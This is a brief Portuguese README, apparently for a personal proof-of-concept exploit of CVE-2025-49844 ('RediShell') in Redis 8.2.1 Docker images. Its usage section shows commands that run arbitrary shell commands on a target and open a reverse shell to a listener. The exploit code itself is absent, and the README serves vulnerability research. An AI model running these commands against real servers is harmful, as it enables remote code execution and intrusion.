CVE-2025-49844

Minha prova de conceito pessoal para CVE-2025-49844, também conhecido como RediShell.

Builds de destino suportados:

• Imagem Docker redis:8.2.1-alpine para Linux x86-64
• Imagem Docker redis:8.2.1-bookworm para Linux x86-64

É um pouco tosco, provavelmente não tão bom quanto o da Wiz Research. Mesmo assim, fico feliz por ter conseguido fazê-lo funcionar antes de as palestras do Hexacon 2025 serem publicadas, e me diverti muito investigando-o.

Uso

Execute comandos de shell unidirecionais:

$ uv run cve-2025-49844 command "echo 'hello world' > /data/hello.txt"

Conecte-se a um reverse shell:

$ uv run cve-2025-49844 rshell -l 127.0.0.1 -p 4444